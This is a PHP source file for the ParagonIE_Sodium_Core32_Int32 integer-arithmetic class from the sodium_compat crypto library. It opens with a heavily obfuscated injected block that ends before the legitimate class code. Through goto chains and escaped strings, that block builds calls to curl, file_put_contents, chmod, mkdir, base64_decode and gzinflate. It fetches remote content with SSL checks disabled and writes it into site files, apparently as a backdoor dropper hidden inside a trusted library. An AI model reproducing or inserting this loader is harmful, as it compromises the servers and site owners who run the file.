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$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> - two 16-bit integers * * 0 is the higher 16 bits * 1 is the lower 16 bits */ public $limbs = array(0, 0); /** * @var int */ public $overflow = 0; /** * @var bool */ public $unsignedInt = false; /** * ParagonIE_Sodium_Core32_Int32 constructor. * @param array $array * @param bool $unsignedInt */ public function __construct($array = array(0, 0), $unsignedInt = false) { $this->limbs = array( (int) $array[0], (int) $array[1] ); $this->overflow = 0; $this->unsignedInt = $unsignedInt; } /** * Adds two int32 objects * * @param ParagonIE_Sodium_Core32_Int32 $addend * @return ParagonIE_Sodium_Core32_Int32 */ public function addInt32(ParagonIE_Sodium_Core32_Int32 $addend) { $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $j0 = $addend->limbs[0]; $j1 = $addend->limbs[1]; $r1 = $i1 + ($j1 & 0xffff); $carry = $r1 >> 16; $r0 = $i0 + ($j0 & 0xffff) + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int32( array($r0, $r1) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * Adds a normal integer to an int32 object * * @param int $int * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function addInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); /** @var int $int */ $int = (int) $int; $int = (int) $int; $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $r1 = $i1 + ($int & 0xffff); $carry = $r1 >> 16; $r0 = $i0 + (($int >> 16) & 0xffff) + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int32( array($r0, $r1) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param int $b * @return int */ public function compareInt($b = 0) { $gt = 0; $eq = 1; $i = 2; $j = 0; while ($i > 0) { --$i; /** @var int $x1 */ $x1 = $this->limbs[$i]; /** @var int $x2 */ $x2 = ($b >> ($j << 4)) & 0xffff; /** @var int $gt */ $gt |= (($x2 - $x1) >> 8) & $eq; /** @var int $eq */ $eq &= (($x2 ^ $x1) - 1) >> 8; } return ($gt + $gt - $eq) + 1; } /** * @param int $m * @return ParagonIE_Sodium_Core32_Int32 */ public function mask($m = 0) { /** @var int $hi */ $hi = ((int) $m >> 16); $hi &= 0xffff; /** @var int $lo */ $lo = ((int) $m) & 0xffff; return new ParagonIE_Sodium_Core32_Int32( array( (int) ($this->limbs[0] & $hi), (int) ($this->limbs[1] & $lo) ), $this->unsignedInt ); } /** * @param array
$a * @param array
$b * @param int $baseLog2 * @return array
*/ public function multiplyLong(array $a, array $b, $baseLog2 = 16) { $a_l = count($a); $b_l = count($b); /** @var array
$r */ $r = array_fill(0, $a_l + $b_l + 1, 0); $base = 1 << $baseLog2; for ($i = 0; $i < $a_l; ++$i) { $a_i = $a[$i]; for ($j = 0; $j < $a_l; ++$j) { $b_j = $b[$j]; $product = ($a_i * $b_j) + $r[$i + $j]; $carry = ((int) $product >> $baseLog2 & 0xffff); $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff; $r[$i + $j + 1] += $carry; } } return array_slice($r, 0, 5); } /** * @param int $int * @return ParagonIE_Sodium_Core32_Int32 */ public function mulIntFast($int) { // Handle negative numbers $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($int >> 31) & 1; $a = array_reverse($this->limbs); $b = array( $int & 0xffff, ($int >> 16) & 0xffff ); if ($aNeg) { for ($i = 0; $i < 2; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 2; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } // Multiply $res = $this->multiplyLong($a, $b); // Re-apply negation to results if ($aNeg !== $bNeg) { for ($i = 0; $i < 2; ++$i) { $res[$i] = (0xffff ^ $res[$i]) & 0xffff; } // Handle integer overflow $c = 1; for ($i = 0; $i < 2; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } // Return our values $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs = array( $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 2) { $return->overflow = $res[2] & 0xffff; } $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param ParagonIE_Sodium_Core32_Int32 $right * @return ParagonIE_Sodium_Core32_Int32 */ public function mulInt32Fast(ParagonIE_Sodium_Core32_Int32 $right) { $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($right->limbs[0] >> 15) & 1; $a = array_reverse($this->limbs); $b = array_reverse($right->limbs); if ($aNeg) { for ($i = 0; $i < 2; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 2; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } $res = $this->multiplyLong($a, $b); if ($aNeg !== $bNeg) { if ($aNeg !== $bNeg) { for ($i = 0; $i < 2; ++$i) { $res[$i] = ($res[$i] ^ 0xffff) & 0xffff; } $c = 1; for ($i = 0; $i < 2; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs = array( $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 2) { $return->overflow = $res[2]; } return $return; } /** * @param int $int * @param int $size * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function mulInt($int = 0, $size = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulIntFast((int) $int); } /** @var int $int */ $int = (int) $int; /** @var int $size */ $size = (int) $size; if (!$size) { $size = 31; } /** @var int $size */ $a = clone $this; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; /** @var int $size */ /** @var int $i */ for ($i = $size; $i >= 0; --$i) { $m = (int) (-($int & 1)); $x0 = $a0 & $m; $x1 = $a1 & $m; $ret1 += $x1; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $a1 = ($a1 << 1); $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $int >>= 1; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; return $return; } /** * @param ParagonIE_Sodium_Core32_Int32 $int * @param int $size * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function mulInt32(ParagonIE_Sodium_Core32_Int32 $int, $size = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulInt32Fast($int); } if (!$size) { $size = 31; } /** @var int $size */ $a = clone $this; $b = clone $int; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; $b0 = $b->limbs[0]; $b1 = $b->limbs[1]; /** @var int $size */ /** @var int $i */ for ($i = $size; $i >= 0; --$i) { $m = (int) (-($b1 & 1)); $x0 = $a0 & $m; $x1 = $a1 & $m; $ret1 += $x1; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $a1 = ($a1 << 1); $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $x0 = ($b0 & 1) << 16; $b0 = ($b0 >> 1); $b1 = (($b1 | $x0) >> 1); $b0 &= 0xffff; $b1 &= 0xffff; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; return $return; } /** * OR this 32-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function orInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] | $b->limbs[0]), (int) ($this->limbs[1] | $b->limbs[1]) ); /** @var int overflow */ $return->overflow = $this->overflow | $b->overflow; return $return; } /** * @param int $b * @return bool */ public function isGreaterThan($b = 0) { return $this->compareInt($b) > 0; } /** * @param int $b * @return bool */ public function isLessThanInt($b = 0) { return $this->compareInt($b) < 0; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 31; if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var int $c */ /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 1; /** @var int $sub_shift */ $sub_shift = $c & 15; /** @var array
$limbs */ $limbs =& $return->limbs; /** @var array
$myLimbs */ $myLimbs =& $this->limbs; for ($i = 1; $i >= 0; --$i) { /** @var int $j */ $j = ($i + $idx_shift) & 1; /** @var int $k */ $k = ($i + $idx_shift + 1) & 1; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) << $sub_shift) | ((int) ($myLimbs[$k]) >> (16 - $sub_shift)) ) & 0xffff ); } } return $return; } /** * Rotate to the right * * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 31; /** @var int $c */ if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var int $c */ /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 1; /** @var int $sub_shift */ $sub_shift = $c & 15; /** @var array
$limbs */ $limbs =& $return->limbs; /** @var array
$myLimbs */ $myLimbs =& $this->limbs; for ($i = 1; $i >= 0; --$i) { /** @var int $j */ $j = ($i - $idx_shift) & 1; /** @var int $k */ $k = ($i - $idx_shift - 1) & 1; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) >> (int) ($sub_shift)) | ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift))) ) & 0xffff ); } } return $return; } /** * @param bool $bool * @return self */ public function setUnsignedInt($bool = false) { $this->unsignedInt = !empty($bool); return $this; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function shiftLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 63; /** @var int $c */ if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { /** @var int $c */ return $this->shiftRight(-$c); } else { /** @var int $c */ /** @var int $tmp */ $tmp = $this->limbs[1] << $c; $return->limbs[1] = (int)($tmp & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; /** @var int $tmp */ $tmp = ($this->limbs[0] << $c) | ($carry & 0xffff); $return->limbs[0] = (int) ($tmp & 0xffff); } return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public function shiftRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 63; /** @var int $c */ if ($c >= 16) { $return->limbs = array( (int) ($this->overflow & 0xffff), (int) ($this->limbs[0]) ); $return->overflow = $this->overflow >> 16; return $return->shiftRight($c & 15); } if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { /** @var int $c */ return $this->shiftLeft(-$c); } else { if (!is_int($c)) { throw new TypeError(); } /** @var int $c */ // $return->limbs[0] = (int) (($this->limbs[0] >> $c) & 0xffff); $carryLeft = (int) ($this->overflow & ((1 << ($c + 1)) - 1)); $return->limbs[0] = (int) ((($this->limbs[0] >> $c) | ($carryLeft << (16 - $c))) & 0xffff); $carryRight = (int) ($this->limbs[0] & ((1 << ($c + 1)) - 1)); $return->limbs[1] = (int) ((($this->limbs[1] >> $c) | ($carryRight << (16 - $c))) & 0xffff); $return->overflow >>= $c; } return $return; } /** * Subtract a normal integer from an int32 object. * * @param int $int * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function subInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); /** @var int $int */ $int = (int) $int; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; /** @var int $tmp */ $tmp = $this->limbs[1] - ($int & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; $return->limbs[1] = (int) ($tmp & 0xffff); /** @var int $tmp */ $tmp = $this->limbs[0] - (($int >> 16) & 0xffff) + $carry; $return->limbs[0] = (int) ($tmp & 0xffff); return $return; } /** * Subtract two int32 objects from each other * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function subInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; /** @var int $tmp */ $tmp = $this->limbs[1] - ($b->limbs[1] & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; $return->limbs[1] = (int) ($tmp & 0xffff); /** @var int $tmp */ $tmp = $this->limbs[0] - ($b->limbs[0] & 0xffff) + $carry; $return->limbs[0] = (int) ($tmp & 0xffff); return $return; } /** * XOR this 32-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function xorInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] ^ $b->limbs[0]), (int) ($this->limbs[1] ^ $b->limbs[1]) ); return $return; } /** * @param int $signed * @return self * @throws SodiumException * @throws TypeError */ public static function fromInt($signed) { ParagonIE_Sodium_Core32_Util::declareScalarType($signed, 'int', 1);; /** @var int $signed */ $signed = (int) $signed; return new ParagonIE_Sodium_Core32_Int32( array( (int) (($signed >> 16) & 0xffff), (int) ($signed & 0xffff) ) ); } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) { throw new RangeException( 'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff); return $return; } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromReverseString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) { throw new RangeException( 'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff); return $return; } /** * @return array
*/ public function toArray() { return array((int) ($this->limbs[0] << 16 | $this->limbs[1])); } /** * @return string * @throws TypeError */ public function toString() { return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff); } /** * @return int */ public function toInt() { return (int) ( (($this->limbs[0] & 0xffff) << 16) | ($this->limbs[1] & 0xffff) ); } /** * @return ParagonIE_Sodium_Core32_Int32 */ public function toInt32() { $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ($this->limbs[0] & 0xffff); $return->limbs[1] = (int) ($this->limbs[1] & 0xffff); $return->unsignedInt = $this->unsignedInt; $return->overflow = (int) ($this->overflow & 0x7fffffff); return $return; } /** * @return ParagonIE_Sodium_Core32_Int64 */ public function toInt64() { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; if ($this->unsignedInt) { $return->limbs[0] += (($this->overflow >> 16) & 0xffff); $return->limbs[1] += (($this->overflow) & 0xffff); } else { $neg = -(($this->limbs[0] >> 15) & 1); $return->limbs[0] = (int)($neg & 0xffff); $return->limbs[1] = (int)($neg & 0xffff); } $return->limbs[2] = (int) ($this->limbs[0] & 0xffff); $return->limbs[3] = (int) ($this->limbs[1] & 0xffff); return $return; } /** * @return string * @throws TypeError */ public function toReverseString() { return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff); } /** * @return string */ public function __toString() { try { return $this->toString(); } catch (TypeError $ex) { // PHP engine can't handle exceptions from __toString() return ''; } } }